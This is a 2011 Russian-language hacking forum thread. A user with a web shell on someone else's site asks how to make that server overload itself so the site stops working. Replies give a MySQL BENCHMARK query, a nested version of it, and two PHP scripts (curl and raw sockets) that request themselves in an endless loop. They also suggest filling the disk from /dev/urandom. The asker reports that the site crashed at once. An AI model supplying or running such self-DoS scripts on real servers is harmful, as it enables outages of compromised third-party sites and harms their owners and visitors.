Перегрузить (не перезагрузить) сервер с помощью PHP или MySQL

Discussion in 'Песочница' started by DJ ][akep, 29 Jul 2011.

  1. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Здравствуйте.
    Имеется шелл на определенном сайте.
    Мне нужно чтоб сервер сам себя ддосил или вернее сильно загружал и сайт соответственно не работал.
    :confused:
    Знаю есть в MySql запрос такой но вот не помню.
    Вообщем подскажите что-то для максимальной нагрузки сервера.
     
  2. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    BENCHMARK
     
  3. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Это я пробовал
    Сайт хоть и медленно но работает
     
  4. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    SELECT BENCHMARK(99999999999999,MD5(CHAR(116)))
    ;)
     
  5. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    включай curl в 1000 потоков, каждый из которых запускает новую 1000 потоков.
     
  6. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Можно по подробней пожалуйста
     
  7. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Это немного не то что написал phpdreamer, но такой скрипт загрузил мой ноут на 100%, даже мышка не двигалась, пришлось вырубать кнопкой)))

    PHP:
    <?php
    while(1)
    {
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_URL"http://norm/kill/1.php");
        
    curl_setopt($chCURLOPT_CONNECTTIMEOUT1);
        
    curl_setopt($chCURLOPT_TIMEOUT1);
        
    $result curl_exec($ch);
        
    curl_close($ch);
    }
    ?>
    Вместо http://norm/kill/1.php введешь урл к этому самому скрипту
     
    1 person likes this.
  8. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Спасибо сайт упал сразу) но работает не везде :(
     
    #8 DJ ][akep, 1 Aug 2011
    Last edited: 1 Aug 2011
  9. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Курл не установлен значит. когда буду дома может что-то придумаю без курла)
     
  10. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Есть еще предложения без курла?
     
  11. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Как вариант курл заменить сокетами, но не факт что на хосте они есть. С сокетами в плотную не работал, когда буду дома попробую
     
  12. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    PHP:
    <?php
    while(1)
    {
        
    get_page("norm","/kill/index.php");
    }

    function 
    get_page($site,$page,$ref='',$cookie='',$post='',$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)')
    {
    $page=trim($page);
    $site=trim($site);
    $socket fsockopen($site80$errno$errstr15);
    if (
    $socket){

        if (
    $post!=''){
            
    $send  "POST $page HTTP/1.0\r\n";
            
    $send .= "Content-Length: "strlen($post) ."\r\n";
            
    $send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
        }  else 
    $send  "GET $page HTTP/1.0\r\n";
        
    $send .= "User-Agent: $ua\r\n";
        
    $send .= "Host: $site\r\n";
        
    $send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
        if(
    $ref!=''$send .= "Referer: $ref\r\n";
        if(
    $cookie!=''){
            
    $send .= "Cookie: $cookie\r\n";
            
    $send .= 'Cookie2: $Version=1'."\r\n";
        }
        
    $send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n";
        
    $send .= "Connection: close\r\n\r\n".$post;
        
    fputs($socket,$send);

        
    fclose($socket);
    }
    return 
    $he;
    };
    ?>
    Пример с сокетами. Функцию для сокетов вытянул из гугла, можно обрезать функцию, но и так работает))) Опять ноут завис намертво, еще и звуки страшные издавал :( Больше не буду пробовать такое делать :)

    Изменить нужно
    get_page("norm","/kill/index.php");
    norm - домен
    /kill/index.php - путь к скрипту
     
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Может тот же самый WGET, COPY, или еще что может создавать нагрузку на самого себя по циклу...
     
    _________________________
  14. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Многопоточность без курла в пхп не сделать. Но вообще, можно делать вложенный бенчмарк, если память не изменяет.

    SELECT BENCHMARK(99999999999999,BENCHMARK(99999999999999,MD5(CHAR(116)))

    Может так упадёт?
     
  15. stfox

    stfox New Member

    Joined:
    30 Aug 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Нет они не создадут нагрузку. максимум будет притормаживать при копировании или архивировании больших файлов (подсказка ;) )..
    Но не повиснет
     
  16. stfox

    stfox New Member

    Joined:
    30 Aug 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Кстати можно забить место и начнутся неприятности с серваком похлеще ДДоса :)
     
  17. S1ash

    S1ash Banned

    Joined:
    19 Nov 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -10
    угум.... я иногда cat /dev/urandov >> /tmp/gg делаю
    зачастую после забива места ssh перестает подрубаться, вернее не дает залогиниться - решается только с локальной консоли или ребутом... но можно ж и не в /tmp писать
     
  18. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Имеются ли права рута?
     
    _________________________
Loading...
Similar Threads - Перегрузить перезагрузить сервер
  1. ilqar200
    Replies:
    4
    Views:
    2,282
  2. kirish13
    Replies:
    1
    Views:
    2,182